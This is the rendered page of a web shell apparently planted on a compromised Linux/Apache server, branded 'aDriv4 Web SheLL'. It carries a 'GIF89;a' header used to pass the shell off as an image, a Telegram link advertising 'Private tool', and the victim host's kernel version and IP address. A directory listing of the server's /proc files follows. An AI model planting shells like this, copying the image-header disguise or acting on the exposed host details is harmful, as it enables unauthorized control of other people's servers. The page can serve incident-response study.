Activate

id=2276

GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux wpmu 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
 Apache
 45.150.186.219
Name Type Size Owner/Group Permission Last Modified Actions
. dir - nobody/nogroup 0555 2025-08-18 06:28:47
.. dir - root/root 0755 2024-08-12 07:59:46
1 dir - root/root 0555 2025-08-18 06:28:48
102 dir - root/root 0555 2025-08-18 06:29:14
106 dir - root/root 0555 2025-08-18 06:29:14
113 dir - root/root 0555 2025-08-18 06:29:14
2618528 dir - root/root 0555 2025-09-01 07:03:06
271 dir - root/root 0555 2025-08-18 06:29:24
273 dir - postfix/postfix 0555 2025-08-18 06:39:22
2745227 dir - root/root 0555 2025-09-02 10:48:15
3017070 dir - root/root 0555 2025-09-04 10:00:06
3017138 dir - root/root 0555 2025-09-04 10:00:08
3017139 dir - www-data/www-data 0555 2025-09-04 10:09:01
3017140 dir - www-data/www-data 0555 2025-09-04 10:09:01
3034454 dir - www-data/www-data 0555 2025-09-05 12:39:00
3040695 dir - www-data/www-data 0555 2025-09-05 02:09:01
3059414 dir - www-data/www-data 0555 2025-09-05 06:09:02
3079683 dir - root/root 0555 2025-09-05 08:49:35
3079684 dir - www-data/www-data 0555 2025-09-05 09:00:23
3079685 dir - www-data/www-data 0555 2025-09-05 09:00:23
3106097 dir - postfix/postfix 0555 2025-09-05 01:32:19
3107303 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107307 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107314 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107316 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107317 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107361 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107362 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107365 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107369 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107371 dir - pangea/pangea 0555 2025-09-05 01:39:05
3107372 dir - pangea/pangea 0555 2025-09-05 01:39:05
3108080 dir - pangea/pangea 0555 2025-09-05 01:43:23
40726 dir - root/root 0555 2025-08-18 06:51:34
43 dir - root/root 0555 2025-08-18 06:28:57
93 dir - root/root 0555 2025-08-18 06:29:14
93991 dir - root/root 0555 2025-08-19 04:30:03
93995 dir - root/root 0555 2025-08-19 04:30:03
93996 dir - root/root 0555 2025-08-19 04:30:03
94 dir - messagebus/messagebus 0555 2025-08-18 06:29:14
95 dir - root/root 0555 2025-08-18 06:29:14
96 dir - node_exporter/node_exporter 0555 2025-08-18 06:29:14
acpi dir - nobody/nogroup 0555 2025-09-03 08:29:39
bus dir - nobody/nogroup 0555 2025-08-19 04:59:22
driver dir - nobody/nogroup 0555 2025-09-03 08:29:39
dynamic_debug dir - nobody/nogroup 0555 2025-08-19 04:59:22
fs dir - nobody/nogroup 0555 2025-08-19 04:59:22
irq dir - nobody/nogroup 0555 2025-08-19 04:59:22
net link - pangea/pangea 0555 2025-09-05 01:46:55
pressure dir - nobody/nogroup 0555 2025-08-18 06:33:45
self link - pangea/pangea 0555 2025-09-05 01:39:05
spl dir - nobody/nogroup 0555 2025-08-18 06:33:45
sys dir - nobody/nogroup 0555 2025-08-18 06:28:47
sysvipc dir - nobody/nogroup 0555 2025-09-03 08:29:39
thread-self link - pangea/pangea 0555 2025-09-05 01:46:55
tty dir - nobody/nogroup 0555 2025-08-18 06:28:47
buddyinfo text/csv 0 B nobody/nogroup 0444 2025-08-19 04:59:22
cgroups text/plain 0 B nobody/nogroup 0444 2025-08-18 06:29:13
cmdline text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
consoles text/plain 0 B nobody/nogroup 0444 2025-08-19 04:59:22
cpuinfo text/plain 118.13 KB nobody/nogroup 0444 2025-09-05 01:46:55
crypto text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
devices text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
diskstats text/plain 3.48 KB nobody/nogroup 0444 2025-09-05 01:46:55
dma text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
execdomains text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
fb text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
filesystems text/plain 0 B nobody/nogroup 0444 2025-08-18 06:28:51
interrupts text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
iomem text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
ioports text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
kallsyms text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
kcore 64 PB nobody/nogroup 0400 2025-08-18 06:28:51
key-users text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
keys text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
kmsg 0 B nobody/nogroup 0400 2025-09-03 08:29:39
kpagecgroup 0 B nobody/nogroup 0400 2025-09-03 08:29:39
kpagecount 0 B nobody/nogroup 0400 2025-09-03 08:29:39
kpageflags 0 B nobody/nogroup 0400 2025-09-03 08:29:39
loadavg text/plain 29 B nobody/nogroup 0444 2025-09-05 01:46:56
locks text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
meminfo text/plain 1.47 KB nobody/nogroup 0444 2025-09-05 01:46:56
misc text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
modules text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
mounts text/plain 0 B root/root 0444 2025-09-05 01:46:55
mtrr 0 B nobody/nogroup 0644 2025-09-03 08:29:39
pagetypeinfo 0 B nobody/nogroup 0400 2025-09-03 08:29:39
partitions text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
schedstat text/plain 0 B nobody/nogroup 0444 2025-08-18 06:33:45
slabinfo text/plain 22.36 KB nobody/nogroup 0444 2025-09-05 01:46:56
softirqs text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
stat text/plain 9.58 KB nobody/nogroup 0444 2025-09-05 01:46:56
swaps text/plain 39 B nobody/nogroup 0444 2025-09-05 01:46:56
sysrq-trigger 0 B nobody/nogroup 0200 2025-08-18 06:28:47
timer_list 0 B nobody/nogroup 0400 2025-09-03 08:29:39
uptime text/plain 23 B nobody/nogroup 0444 2025-09-05 01:46:56
version text/plain 0 B nobody/nogroup 0444 2025-09-02 07:36:00
vmallocinfo 0 B nobody/nogroup 0400 2025-09-03 08:29:39
vmstat text/plain 0 B nobody/nogroup 0444 2025-08-18 06:33:45
zoneinfo text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
© aDriv4